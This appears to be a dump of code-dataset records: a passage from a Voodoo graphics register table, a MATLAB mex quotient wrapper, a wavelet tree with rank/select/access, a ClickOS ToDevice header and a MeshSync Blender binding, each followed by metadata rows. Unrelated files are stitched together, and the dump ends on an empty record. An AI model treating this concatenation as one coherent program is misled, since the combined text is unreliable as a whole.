mode REGISTER_ENTRY(fbiInit7, passive, fbiinit5_7, 28, FBI, NOSYNC, NOFIFO) // 24c - cmdFIFO mode RESERVED_ENTRY // 250 RESERVED_ENTRY // 254 REGISTER_ENTRY(fbiSwapHistory, passive, invalid, 32, FBI, NA, NA) // 258 REGISTER_ENTRY(fbiTrianglesOut, passive, invalid, 24, FBI, NA, NA) // 25c // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(sSetupMode, invalid, passive, 20, FBI, NOSYNC, FIFO) // 260 REGISTER_ENTRY(sVx, invalid, passive, 32, FBI, NOSYNC, FIFO) // 264 REGISTER_ENTRY(sVy, invalid, passive, 32, FBI, NOSYNC, FIFO) // 268 REGISTER_ENTRY(sARGB, invalid, sargb, 32, FBI, NOSYNC, FIFO) // 26c REGISTER_ENTRY(sRed, invalid, passive, 32, FBI, NOSYNC, FIFO) // 270 REGISTER_ENTRY(sGreen, invalid, passive, 32, FBI, NOSYNC, FIFO) // 274 REGISTER_ENTRY(sBlue, invalid, passive, 32, FBI, NOSYNC, FIFO) // 278 REGISTER_ENTRY(sAlpha, invalid, passive, 32, FBI, NOSYNC, FIFO) // 27c // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(sVz, invalid, passive, 32, FBI, NOSYNC, FIFO) // 280 REGISTER_ENTRY(sWb, invalid, passive, 32, FBI, NOSYNC, FIFO) // 284 REGISTER_ENTRY(sWtmu0, invalid, passive, 32, FBI, NOSYNC, FIFO) // 288 REGISTER_ENTRY(sS_W0, invalid, passive, 32, FBI, NOSYNC, FIFO) // 28c REGISTER_ENTRY(sT_W0, invalid, passive, 32, FBI, NOSYNC, FIFO) // 290 REGISTER_ENTRY(sWtmu1, invalid, passive, 32, FBI, NOSYNC, FIFO) // 294 REGISTER_ENTRY(sS_W1, invalid, passive, 32, FBI, NOSYNC, FIFO) // 298 REGISTER_ENTRY(sT_W1, invalid, passive, 32, FBI, NOSYNC, FIFO) // 29c // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(sDrawTriCMD, invalid, draw_tri, 1, FBI, NOSYNC, FIFO) // 2a0 REGISTER_ENTRY(sBeginTriCMD, invalid, begin_tri, 1, FBI, NOSYNC, FIFO) // 2a4 RESERVED_ENTRY // 2a8 RESERVED_ENTRY // 2ac RESERVED_ENTRY // 2b0 RESERVED_ENTRY // 2b4 RESERVED_ENTRY // 2b8 RESERVED_ENTRY // 2bc // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(bltSrcBaseAddr, passive, passive, 22, FBI, NOSYNC, FIFO) // 2c0 REGISTER_ENTRY(bltDstBaseAddr, passive, passive, 22, FBI, NOSYNC, FIFO) // 2c4 REGISTER_ENTRY(bltXYStrides, passive, passive, 28, FBI, NOSYNC, FIFO) // 2c8 REGISTER_ENTRY(bltSrcChromaRange,passive, passive, 32, FBI, NOSYNC, FIFO) // 2cc REGISTER_ENTRY(bltDstChromaRange,passive, passive, 32, FBI, NOSYNC, FIFO) // 2d0 REGISTER_ENTRY(bltClipX, passive, passive, 26, FBI, NOSYNC, FIFO) // 2d4 REGISTER_ENTRY(bltClipY, passive, passive, 26, FBI, NOSYNC, FIFO) // 2d8 RESERVED_ENTRY // 2dc // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(bltSrcXY, passive, passive, 27, FBI, NOSYNC, FIFO) // 2e0 REGISTER_ENTRY(bltDstXY, passive, passive, 32, FBI, NOSYNC, FIFO) // 2e4 REGISTER_ENTRY(bltSize, passive, passive, 32, FBI, NOSYNC, FIFO) // 2e8 REGISTER_ENTRY(bltRop, passive, passive, 16, FBI, NOSYNC, FIFO) // 2ec REGISTER_ENTRY(bltColor, passive, passive, 32, FBI, NOSYNC, FIFO) // 2f0 RESERVED_ENTRY // 2f4 REGISTER_ENTRY(bltCommand, passive, unimplemented,32,FBI, NOSYNC, FIFO) // 2f8 REGISTER_ENTRY(bltData, invalid, passive, 32, FBI, NOSYNC, FIFO) // 2fc // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(textureMode, invalid, texture, 32, TREX, NOSYNC, FIFO) // 300 REGISTER_ENTRY(tLOD, invalid, texture, 32, TREX, NOSYNC, FIFO) // 304 REGISTER_ENTRY(tDetail, invalid, texture, 22, TREX, NOSYNC, FIFO) // 308 REGISTER_ENTRY(texBaseAddr, invalid, texture, 19, TREX, NOSYNC, FIFO) // 30c REGISTER_ENTRY(texBaseAddr_1, invalid, texture, 19, TREX, NOSYNC, FIFO) // 310 REGISTER_ENTRY(texBaseAddr_2, invalid, texture, 19, TREX, NOSYNC, FIFO) // 314 REGISTER_ENTRY(texBaseAddr_3_8, invalid, texture, 19, TREX, NOSYNC, FIFO) // 318 REGISTER_ENTRY(trexInit0, invalid, passive, 32, TREX, SYNC, FIFO) // 31c // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(trexInit1, invalid, passive, 32, TREX, SYNC, FIFO) // 320 REGISTER_ENTRY(nccTable0[0], invalid, palette, 32, TREX, SYNC, FIFO) // 324 REGISTER_ENTRY(nccTable0[1], invalid, palette, 32, TREX, SYNC, FIFO) // 328 REGISTER_ENTRY(nccTable0[2], invalid, palette, 32, TREX, SYNC, FIFO) // 32c REGISTER_ENTRY(nccTable0[3], invalid, palette, 32, TREX, SYNC, FIFO) // 330 REGISTER_ENTRY(nccTable0[4], invalid, palette, 32, TREX, SYNC, FIFO) // 334 REGISTER_ENTRY(nccTable0[5], invalid, palette, 32, TREX, SYNC, FIFO) // 338 REGISTER_ENTRY(nccTable0[6], invalid, palette, 32, TREX, SYNC, FIFO) // 33c // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(nccTable0[7], invalid, palette, 32, TREX, SYNC, FIFO) // 340 REGISTER_ENTRY(nccTable0[8], invalid, palette, 32, TREX, SYNC, FIFO) // 344 REGISTER_ENTRY(nccTable0[9], invalid, palette, 32, TREX, SYNC, FIFO) // 348 REGISTER_ENTRY(nccTable0[10], invalid, palette, 32, TREX, SYNC, FIFO) // 34c REGISTER_ENTRY(nccTable0[11], invalid, palette, 32, TREX, SYNC, FIFO) // 350 REGISTER_ENTRY(nccTable1[0], invalid, palette, 32, TREX, SYNC, FIFO) // 354 REGISTER_ENTRY(nccTable1[1], invalid, palette, 32, TREX, SYNC, FIFO) // 358 REGISTER_ENTRY(nccTable1[2], invalid, palette, 32, TREX, SYNC, FIFO) // 35c // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(nccTable1[3], invalid, palette, 32, TREX, SYNC, FIFO) // 360 REGISTER_ENTRY(nccTable1[4], invalid, palette, 32, TREX, SYNC, FIFO) // 364 REGISTER_ENTRY(nccTable1[5], invalid, palette, 32, TREX, SYNC, FIFO) // 368 REGISTER_ENTRY(nccTable1[6], invalid, palette, 32, TREX, SYNC, FIFO) // 36c REGISTER_ENTRY(nccTable1[7], invalid, palette, 32, TREX, SYNC, FIFO) // 370 REGISTER_ENTRY(nccTable1[8], invalid, palette, 32, TREX, SYNC, FIFO) // 374 REGISTER_ENTRY(nccTable1[9], invalid, palette, 32, TREX, SYNC, FIFO) // 378 REGISTER_ENTRY(nccTable1[10], invalid, palette, 32, TREX, SYNC, FIFO) // 37c // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(nccTable1[11], invalid, palette, 32, TREX, SYNC, FIFO) // 380 RESERVED_ENTRY // 384 RESERVED_ENTRY // 388 RESERVED_ENTRY // 38c RESERVED_ENTRY // 390 RESERVED_ENTRY // 394 RESERVED_ENTRY // 398 RESERVED_ENTRY // 39c RESERVED_ENTRY_x8 // 3a0-3bc RESERVED_ENTRY_x8 // 3c0-3dc RESERVED_ENTRY_x8 // 3e0-3fc };
40.348581
258
0.553113
[ "render", "model", "3d" ]
6cd44e89cd49b3eaf006be0e9fe73104679c7be0
4,258
cpp
C++
Kompressor/Src/quotientmex.cpp
fbordeu/PGDforMatlab
b40ba3f85acc262055fee12629cbf685ce19a982
[ "BSD-3-Clause" ]
null
null
null
Kompressor/Src/quotientmex.cpp
fbordeu/PGDforMatlab
b40ba3f85acc262055fee12629cbf685ce19a982
[ "BSD-3-Clause" ]
null
null
null
Kompressor/Src/quotientmex.cpp
fbordeu/PGDforMatlab
b40ba3f85acc262055fee12629cbf685ce19a982
[ "BSD-3-Clause" ]
1
2019-11-26T22:26:12.000Z
2019-11-26T22:26:12.000Z
// // This file is subject to the terms and conditions defined in // file 'LICENSE.txt', which is part of this source code package. // // Principal developer : Felipe Bordeu (Felipe.Bordeu@ec-nantes.fr) // // to compile mex -lblas quotientmex.cpp #include "mex.h" #include "MatLab.h" #include "iostream" #include "math.h" #if defined(_WIN32) inline double round(double d){ return floor(d+0.5); } #endif #include "cQuotientCore.h" void mexFunction(int nlhs, mxArray *plhs[], int nrhs, const mxArray *prhs[]) { if(nrhs==0) { std::cout << "quotientmex Quotient of a Separated Solution" << std::endl; std::cout << "" << std::endl; std::cout << "a = quotientmex(FF1,FF2)" << std::endl; std::cout << "a = quotientmex(FF1,FF2, ops)" << std::endl; std::cout << "" << std::endl; std::cout << "FF1 : is a cell containing the terms" << std::endl; std::cout << "FF2 : is a cell containing the terms" << std::endl; std::cout << "ops : are the opntion in the folowing order" << std::endl; std::cout << "[bool reweight_modes" << std::endl; std::cout << " double fp_tol" << std::endl; std::cout << " double res_reduc" << std::endl; std::cout << " unsigned max_added_modes" << std::endl; std::cout << " unsigned fp_max_iter" << std::endl; std::cout << " bool improve_modes" << std::endl; std::cout << " unsigned improve_modes_max ]" << std::endl; return; } /* Check for proper number of arguments. */ if(nrhs>3 || nrhs<2) { mexErrMsgIdAndTxt( "MATLAB:quotientmex:invalidNumInputs", "Two input required. Three optional"); } else if(nlhs>1) { mexErrMsgIdAndTxt( "MATLAB:quotientmex:maxlhs", "Too many output arguments."); } else if (nlhs==0){ mexErrMsgIdAndTxt( "MATLAB:quotientmex:maxlhs", "Too few output arguments."); } /* check if cell. */ if (! mxIsCell (prhs[0])) mexErrMsgIdAndTxt( "MATLAB:recompactmex", "Input must be a cell."); /* check if cell. */ if (! mxIsCell (prhs[1])) mexErrMsgIdAndTxt( "MATLAB:recompactmex", "Input must be a cell."); mwSize nn = mxGetNumberOfElements (prhs[0]); mwSize nd = mxGetNumberOfElements (prhs[1]); PGD_Options options; /// we fill the FF with the incoming data std::vector<MatLabDataMatrix<double> > FF1; FF1.resize(nn); std::vector<MatLabDataMatrix<double> > FF2; FF2.resize(nd); for(int i =0; i < nn; ++i){ FF1[i].SetInternalAllocation(false); FF1[i].SetNDims(2); mxArray *mat = mxGetCell(prhs[0], i); FF1[i].dsizes[0] = mxGetM(mat); FF1[i].dsizes[1] = mxGetN(mat);; FF1[i].allocate(); FF1[i].Data = mxGetPr(mat); FF2[i].SetInternalAllocation(false); FF2[i].SetNDims(2); mat = mxGetCell(prhs[1], i); FF2[i].dsizes[0] = mxGetM(mat); FF2[i].dsizes[1] = mxGetN(mat);; FF2[i].allocate(); FF2[i].Data = mxGetPr(mat); } // we prepare the sol std::vector<MatLabDataMatrix<double> > sol; sol.resize(nn); options.max_added_modes = FF1[0].dsizes[1]; options.improve_modes_max = std::max(10, (int) round(FF1[0].dsizes[1]/10) ); if(nrhs==3){ if(mxGetNumberOfElements (prhs[2]) < 9){ mexErrMsgIdAndTxt( "MATLAB:recompactmex:invalidNumInputs", "Options not of the correct size"); }; options.reweight_modes = *(mxGetPr(prhs[2])+0); options.fp_tol = *(mxGetPr(prhs[2])+1); options.res_reduc = *(mxGetPr(prhs[2])+2); options.max_added_modes = *(mxGetPr(prhs[2])+3); options.fp_max_iter = *(mxGetPr(prhs[2])+4); options.improve_modes = *(mxGetPr(prhs[2])+5); options.improve_modes_max = *(mxGetPr(prhs[2])+6); options.verbose = *(mxGetPr(prhs[2])+7); options.lastImproveModesLoop = *(mxGetPr(prhs[2])+8); } Quotient( FF1,FF2, sol, options); mxArray *msol = mxCreateCellArray (1, &nn); for(int i =0; i < nn; ++i){ mxArray * s= mxCreateDoubleMatrix(sol[i].dsizes[0], sol[i].dsizes[1], mxREAL); std::copy(sol[i].Data,sol[i].Data+sol[i].fullsize,mxGetPr(s)); mxSetCell(msol,i, s); } plhs[0] = msol; }
33.265625
86
0.595585
[ "vector" ]
6cda98e556e002a8e0a28995256c58d5e14c88d8
8,863
cpp
C++
.MeshSync/Plugin/MeshSyncClientBlender/MeshSyncClientBlender.cpp
bitinn/MeshSync
71686b6962c6177af15f980c6fa718ed6676c9f1
[ "MIT" ]
1
2019-08-03T20:33:37.000Z
2019-08-03T20:33:37.000Z
.MeshSync/Plugin/MeshSyncClientBlender/MeshSyncClientBlender.cpp
bitinn/MeshSync
71686b6962c6177af15f980c6fa718ed6676c9f1
[ "MIT" ]
null
null
null
.MeshSync/Plugin/MeshSyncClientBlender/MeshSyncClientBlender.cpp
bitinn/MeshSync
71686b6962c6177af15f980c6fa718ed6676c9f1
[ "MIT" ]
null
null
null
#include "pch.h" #include "msblenContext.h" static bool msblenExport(msblenContext& self, msblenContext::SendTarget target, msblenContext::SendScope scope) { if (!self.isServerAvailable()) { self.logInfo("MeshSync: Server not available. %s", self.getErrorMessage().c_str()); return false; } if (target == msblenContext::SendTarget::Objects) { self.wait(); self.sendObjects(msblenContext::SendScope::All, true); } else if (target == msblenContext::SendTarget::Materials) { self.wait(); self.sendMaterials(true); } else if (target == msblenContext::SendTarget::Animations) { self.wait(); self.sendAnimations(msblenContext::SendScope::All); } else if (target == msblenContext::SendTarget::Everything) { self.wait(); self.sendMaterials(true); self.wait(); self.sendObjects(msblenContext::SendScope::All, true); self.wait(); self.sendAnimations(msblenContext::SendScope::All); } return true; } PYBIND11_PLUGIN(MeshSyncClientBlender) { py::module mod("MeshSyncClientBlender", "Python bindings for MeshSync"); #define BindMethod(Name) .def(#Name, &self_t::Name) #define BindMethodF(Name, ...) .def(#Name, __VA_ARGS__) #define BindProperty(Name, ...) .def_property(#Name, __VA_ARGS__) { using self_t = msblenContext; py::class_<msblenContext, msbContextPtr>(mod, "Context") .def(py::init<>()) .def_property_readonly("PLUGIN_VERSION", [](const msblenContext& self) { return std::string(msPluginVersionStr); }) .def_property_readonly("PROTOCOL_VERSION", [](const msblenContext& self) { return std::to_string(msProtocolVersion); }) .def_property_readonly("TARGET_OBJECTS", [](const msblenContext& self) { return (int)msblenContext::SendTarget::Objects; }) .def_property_readonly("TARGET_MATERIALS", [](const msblenContext& self) { return (int)msblenContext::SendTarget::Materials; }) .def_property_readonly("TARGET_ANIMATIONS", [](const msblenContext& self) { return (int)msblenContext::SendTarget::Animations; }) .def_property_readonly("TARGET_EVERYTHING", [](const msblenContext& self) { return (int)msblenContext::SendTarget::Everything; }) .def_property_readonly("SCOPE_NONE", [](const msblenContext& self) { return (int)msblenContext::SendScope::None; }) .def_property_readonly("SCOPE_ALL", [](const msblenContext& self) { return (int)msblenContext::SendScope::All; }) .def_property_readonly("SCOPE_UPDATED", [](const msblenContext& self) { return (int)msblenContext::SendScope::Updated; }) .def_property_readonly("SCOPE_SELECTED", [](const msblenContext& self) { return (int)msblenContext::SendScope::Selected; }) .def_property_readonly("is_server_available", [](msblenContext& self) { return self.isServerAvailable(); }) .def_property_readonly("error_message", [](msblenContext& self) { return self.getErrorMessage(); }) BindMethod(flushPendingList) BindMethodF(setup, [](msblenContext& self, py::object ctx) { bl::setup(ctx); }) BindMethodF(clear, [](msblenContext& self, py::object ctx) { self.clear(); }) BindMethodF(exportUpdatedObjects, [](msblenContext& self) { self.sendObjects(msblenContext::SendScope::Updated, false); }) BindMethodF(export, [](msblenContext& self, int _target) { msblenExport(self, (msblenContext::SendTarget)_target, msblenContext::SendScope::All); }) BindProperty(server_address, [](const msblenContext& self) { return self.getSettings().client_settings.server; }, [](msblenContext& self, const std::string& v) { self.getSettings().client_settings.server = v; }) BindProperty(server_port, [](const msblenContext& self) { return self.getSettings().client_settings.port; }, [](msblenContext& self, uint16_t v) { self.getSettings().client_settings.port = v; }) BindProperty(scene_name, [](const msblenContext& self) { return self.getSettings().scene_settings.name; }, [](msblenContext& self, const std::string& v) { self.getSettings().scene_settings.name = v; }) BindProperty(scale_factor, [](const msblenContext& self) { return self.getSettings().scene_settings.scale_factor; }, [](msblenContext& self, float v) { self.getSettings().scene_settings.scale_factor = v; }) BindProperty(handedness, [](const msblenContext& self) { return (int)self.getSettings().scene_settings.handedness; }, [](msblenContext& self, int v) { (int&)self.getSettings().scene_settings.handedness = v; }) BindProperty(sync_meshes, [](const msblenContext& self) { return (int)self.getSettings().sync_meshes; }, [](msblenContext& self, int v) { (int&)self.getSettings().sync_meshes = v; }) BindProperty(sync_normals, [](const msblenContext& self) { return (int)self.getSettings().sync_normals; }, [](msblenContext& self, bool v) { (int&)self.getSettings().sync_normals = v; }) BindProperty(sync_uvs, [](const msblenContext& self) { return self.getSettings().sync_uvs; }, [](msblenContext& self, bool v) { self.getSettings().sync_uvs = v; }) BindProperty(sync_colors, [](const msblenContext& self) { return self.getSettings().sync_colors; }, [](msblenContext& self, bool v) { self.getSettings().sync_colors = v; }) BindProperty(make_double_sided, [](const msblenContext& self) { return self.getSettings().make_double_sided; }, [](msblenContext& self, bool v) { self.getSettings().make_double_sided = v; }) BindProperty(bake_modifiers, [](const msblenContext& self) { return self.getSettings().bake_modifiers; }, [](msblenContext& self, bool v) { self.getSettings().bake_modifiers = v; }) BindProperty(convert_to_mesh, [](const msblenContext& self) { return self.getSettings().convert_to_mesh; }, [](msblenContext& self, bool v) { self.getSettings().convert_to_mesh = v; }) BindProperty(sync_bones, [](const msblenContext& self) { return self.getSettings().sync_bones; }, [](msblenContext& self, bool v) { self.getSettings().sync_bones = v; }) BindProperty(sync_blendshapes, [](const msblenContext& self) { return self.getSettings().sync_blendshapes; }, [](msblenContext& self, bool v) { self.getSettings().sync_blendshapes = v; }) BindProperty(sync_textures, [](const msblenContext& self) { return self.getSettings().sync_textures; }, [](msblenContext& self, bool v) { self.getSettings().sync_textures = v; }) BindProperty(sync_cameras, [](const msblenContext& self) { return self.getSettings().sync_cameras; }, [](msblenContext& self, bool v) { self.getSettings().sync_cameras = v; }) BindProperty(sync_lights, [](const msblenContext& self) { return self.getSettings().sync_lights; }, [](msblenContext& self, bool v) { self.getSettings().sync_lights = v; }) BindProperty(animation_ts, [](const msblenContext& self) { return self.getSettings().animation_timescale; }, [](msblenContext& self, float v) { self.getSettings().animation_timescale = v; }) BindProperty(animation_interval, [](const msblenContext& self) { return self.getSettings().animation_frame_interval; }, [](msblenContext& self, int v) { self.getSettings().animation_frame_interval = v; }) BindProperty(keyframe_reduction, [](const msblenContext& self) { return self.getSettings().keyframe_reduction; }, [](msblenContext& self, int v) { self.getSettings().keyframe_reduction = v; }) BindProperty(keep_flat_curves, [](const msblenContext& self) { return self.getSettings().keep_flat_curves; }, [](msblenContext& self, int v) { self.getSettings().keep_flat_curves = v; }) BindProperty(multithreaded, [](const msblenContext& self) { return self.getSettings().multithreaded; }, [](msblenContext& self, int v) { self.getSettings().multithreaded = v; }) ; } #undef BindMethod #undef BindMethodF #undef BindProperty return mod.ptr(); }
63.307143
141
0.625183
[ "object" ]
6cdefb56e794532abb53478c9e88ee19b0779446
3,535
hh
C++
elements/minios/todevice.hh
MacWR/Click-changed-for-ParaGraph
18285e5da578fbb7285d10380836146e738dee6e
[ "Apache-2.0" ]
32
2017-11-02T12:33:21.000Z
2022-02-07T22:25:58.000Z
elements/minios/todevice.hh
MacWR/Click-changed-for-ParaGraph
18285e5da578fbb7285d10380836146e738dee6e
[ "Apache-2.0" ]
2
2019-02-18T08:47:16.000Z
2019-05-24T14:41:23.000Z
elements/minios/todevice.hh
MacWR/Click-changed-for-ParaGraph
18285e5da578fbb7285d10380836146e738dee6e
[ "Apache-2.0" ]
10
2018-06-13T11:54:53.000Z
2020-09-08T06:52:43.000Z
/* * ClickOS * * file: todevice.hh * * NEC Europe Ltd. PROPRIETARY INFORMATION * * This software is supplied under the terms of a license agreement * or nondisclosure agreement with NEC Europe Ltd. and may not be * copied or disclosed except in accordance with the terms of that * agreement. The software and its source code contain valuable trade * secrets and confidential information which have to be maintained in * confidence. * Any unauthorized publication, transfer to third parties or duplication * of the object or source code - either totally or in part – is * prohibited. * * Copyright (c) 2014 NEC Europe Ltd. All Rights Reserved. * * Authors: Joao Martins <joao.martins@neclab.eu> * Filipe Manco <filipe.manco@neclab.eu> * * NEC Europe Ltd. DISCLAIMS ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, * INCLUDING BUT NOT LIMITED TO IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE AND THE WARRANTY AGAINST LATENT * DEFECTS, WITH RESPECT TO THE PROGRAM AND THE ACCOMPANYING * DOCUMENTATION. * * No Liability For Consequential Damages IN NO EVENT SHALL NEC Europe * Ltd., NEC Corporation OR ANY OF ITS SUBSIDIARIES BE LIABLE FOR ANY * DAMAGES WHATSOEVER (INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS * OF BUSINESS PROFITS, BUSINESS INTERRUPTION, LOSS OF INFORMATION, OR * OTHER PECUNIARY LOSS AND INDIRECT, CONSEQUENTIAL, INCIDENTAL, * ECONOMIC OR PUNITIVE DAMAGES) ARISING OUT OF THE USE OF OR INABILITY * TO USE THIS PROGRAM, EVEN IF NEC Europe Ltd. HAS BEEN ADVISED OF THE * POSSIBILITY OF SUCH DAMAGES. * * THIS HEADER MAY NOT BE EXTRACTED OR MODIFIED IN ANY WAY. */ #ifndef CLICK_TODEVICE_HH #define CLICK_TODEVICE_HH #include <click/config.h> #include <click/element.hh> #include <click/error.hh> #include <click/task.hh> extern "C" { #include <netfront.h> } CLICK_DECLS /* * =title ToDevice.minios * =c * ToDevice(DEVID) * =s netdevices * sends packets to network device (mini-os) * =d * * This manual page describes the mini-os version of the ToDevice element. * For the Linux kernel module element, read the ToDevice(n) manual page. * * Pushes packets to a named device or * Pulls packets and sends them out the named device. * * =back * * This element is only available at mini-os. * * =n * * Packets sent via ToDevice should already have a link-level * header prepended. This means that ARP processing, * for example, must already have been done. * * FromDevice receives packets sent by a ToDevice element for the same * device. * * Packets that are written successfully are sent on output 0, if it exists. * =a * ToDevice.minios, FromDevice.u, FromDump, ToDump, KernelTun, ToDevice(n) */ class ToDevice : public Element { public: ToDevice(); ~ToDevice(); const char *class_name() const { return "ToDevice"; } const char *port_count() const { return "1/0-1"; } const char *processing() const { return "a/h"; } int configure_phase() const { return CONFIGURE_PHASE_FIRST; } int configure(Vector<String> &, ErrorHandler *); int initialize(ErrorHandler *); void cleanup(CleanupStage); void add_handlers(); bool run_task(Task *); void push(int, Packet *p); private: int _vifid; int _burstsize; int _count; Task _task; struct netfront_dev* _dev; static String read_handler(Element* e, void *thunk); static int reset_counts(const String &, Element *e, void *, ErrorHandler *); }; CLICK_ENDDECLS #endif
30.213675
80
0.716266
[ "object", "vector" ]
6ce304cf7600aa1084d74401e1296194e05ffc9c
4,891
cpp
C++
WaveletTree/WaveletTree/WaveletTree.cpp
Vaan5/Bioinformatics---Construction-of-a-binary-wavelet-tree-using-RRR-structure
12b8c0a293d521204c97580a6b0ab2654bffac8b
[ "MIT" ]
null
null
null
WaveletTree/WaveletTree/WaveletTree.cpp
Vaan5/Bioinformatics---Construction-of-a-binary-wavelet-tree-using-RRR-structure
12b8c0a293d521204c97580a6b0ab2654bffac8b
[ "MIT" ]
null
null
null
WaveletTree/WaveletTree/WaveletTree.cpp
Vaan5/Bioinformatics---Construction-of-a-binary-wavelet-tree-using-RRR-structure
12b8c0a293d521204c97580a6b0ab2654bffac8b
[ "MIT" ]
4
2016-07-24T18:23:06.000Z
2019-04-11T12:37:22.000Z
#include "WaveletTree.h" // Returns root node of the wavelet tree WaveletNode* WaveletTree::getRoot() const { return root; } // Creates a new wavelet tree // input input string for which the wavelet tree is constructed // visualOutput file handler used to generate graphviz data WaveletTree::WaveletTree(string content, FILE* visualOutput) { this->alphabetIndices = alphabet(256, -1); this->alphabetCharacters = inverseAlphabet(256, 0); // Create symbol required mappings for (unsigned int i = 0; i < content.length(); i++) { if (this->alphabetIndices[content[i]] == -1) { this->alphabetIndices[content[i]] = 1; } } int cumSum = 0; for (unsigned int i = 0; i < this->alphabetIndices.size(); i++) { if (this->alphabetIndices[i] == 1) { this->alphabetIndices[i] = cumSum; this->alphabetCharacters[cumSum] = i; cumSum++; } } this->alphabetSize = cumSum; if (visualOutput != NULL) { fprintf(visualOutput, "digraph bioinf { \n"); fprintf(visualOutput, "\tnode [shape = box, fontname=\"courier\"]; \n"); } // Build the binary tree this->root = new WaveletNode(content, NULL, 0, this->alphabetSize - 1, this->alphabetIndices, true, visualOutput); if (visualOutput != NULL) { fprintf(visualOutput, "} \n"); fclose(visualOutput); } } // Destructor WaveletTree::~WaveletTree() { delete this->root; } // Returns rank for the given character up to the given index (including) // character character for which rank is calculated // index index (starting from 0) up to which (included) rank is calculated // Throws invalid_argument exceptions if the stored string doesn't contain the requested // character or if the index is larger then stored string length uint64_t WaveletTree::rank(uint8_t character, uint64_t index) { WaveletNode* v = root; uint64_t r = index; int16_t characterIndex = this->alphabetIndices[character]; if (characterIndex == -1) { throw invalid_argument("Stored string doesn't contain the requested character..."); } bool isRoot = true; while (v != NULL) { uint8_t threshold = v->getThreshold(); // Edge case -> index up to which is being search for in the RRR is decreased for child nodes if (!isRoot) { r--; } else { isRoot = false; } // Depending on the current node alphabet coding look into the left or right child if (characterIndex <= threshold) { r = v->getContent()->rank0(r); v = v->getLeftChild(); } else { r = v->getContent()->rank1(r); v = v->getRightChild(); } // Edge case - symbol not found in internal node if (r == 0) return 0; } return r; } // Returns the index of the count-th appearance of the given character // character character for which select is calculated // count number of searched for appearances // Throws invalid_argument exceptions if the stored string doesn't contain the requested // character or if the count value is not positive or is larger then stored string length uint64_t WaveletTree::select(uint8_t character, uint64_t count) { int16_t characterIndex = this->alphabetIndices[character]; if (characterIndex == -1) { throw invalid_argument("Stored string doesn't contain the requested character..."); } WaveletNode* v = NULL; WaveletNode* temp = root; uint64_t r = count; // Go down the tree to the child containing the requested symbol while (temp != NULL) { uint8_t threshold = temp->getThreshold(); v = temp; if (characterIndex <= threshold) { temp = temp->getLeftChild(); } else { temp = temp->getRightChild(); } } // v is leaf // Handle leaf and the edge case when the tree has only one node uint8_t threshold = v->getThreshold(); if (characterIndex <= threshold) { r = v->getContent()->select0(r); } else { r = v->getContent()->select1(r); } // Go up the tree and compute select index while (v != root) { r++; WaveletNode* p = v->getParent(); if (v->getIsLeftChild()) { r = p->getContent()->select0(r); } else { r = p->getContent()->select1(r); } v = p; } return r; } // Returns character stored at the given index // Throws invalid_argument exception if index is too large uint8_t WaveletTree::access(uint64_t index) { WaveletNode* v = root; uint64_t r = index; bool isRoot = true; while (v != NULL) { if (!isRoot) { r--; } else { isRoot = false; } if (v->getContent()->access(r) == 0) { r = v->getContent()->rank0(r); if (v->getLeftChild() == NULL) { return this->alphabetCharacters[v->getStart()]; } v = v->getLeftChild(); } else { r = v->getContent()->rank1(r); if (v->getRightChild() == NULL) { return this->alphabetCharacters[v->getEnd()]; } v = v->getRightChild(); } } return 0; }
27.172222
116
0.645676
[ "shape" ]
6ce5c6e24c2d5ff1c43a8e0f40a70bd53a64dd1a
445
cpp
C++
codeforces/practices/800/136A.cpp
wingkwong/competitive-programming
e8bf7aa32e87b3a020b63acac20e740728764649
[ "MIT" ]
18
2020-08-27T05:27:50.000Z
2022-03-08T02:56:48.000Z
codeforces/practices/800/136A.cpp
wingkwong/competitive-programming
e8bf7aa32e87b3a020b63acac20e740728764649
[ "MIT" ]
null
null
null
codeforces/practices/800/136A.cpp
wingkwong/competitive-programming
e8bf7aa32e87b3a020b63acac20e740728764649
[ "MIT" ]
1
2020-10-13T05:23:58.000Z
2020-10-13T05:23:58.000Z
/* Codeforces Beta Round #97 (Div. 2) - A. Presents https://codeforces.com/problemset/problem/136/A */ #include <bits/stdc++.h> using namespace std; #define FAST_INP ios_base::sync_with_stdio(false);cin.tie(NULL) int main() { FAST_INP; int n; cin >> n; vector<int> p(n+1),pp(n+1); for(int i=1;i<=n;i++) { cin >> p[i]; pp[p[i]]=i; } for(int i=1;i<=n;i++) { cout << pp[i] << " "; } return 0; }
17.8
64
0.546067
[ "vector" ]
6ce9322ffb58e5ea0829ea67fee87c8ad0279bff
30,711
cpp
C++
printscan/wia/core/server/stisvc.cpp
npocmaka/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
17
2020-11-13T13:42:52.000Z
2021-09-16T09:13:13.000Z
printscan/wia/core/server/stisvc.cpp
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
2
2020-10-19T08:02:06.000Z
2020-10-19T08:23:18.000Z
printscan/wia/core/server/stisvc.cpp
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
14
2020-11-14T09:43:20.000Z
2021-08-28T08:59:57.000Z
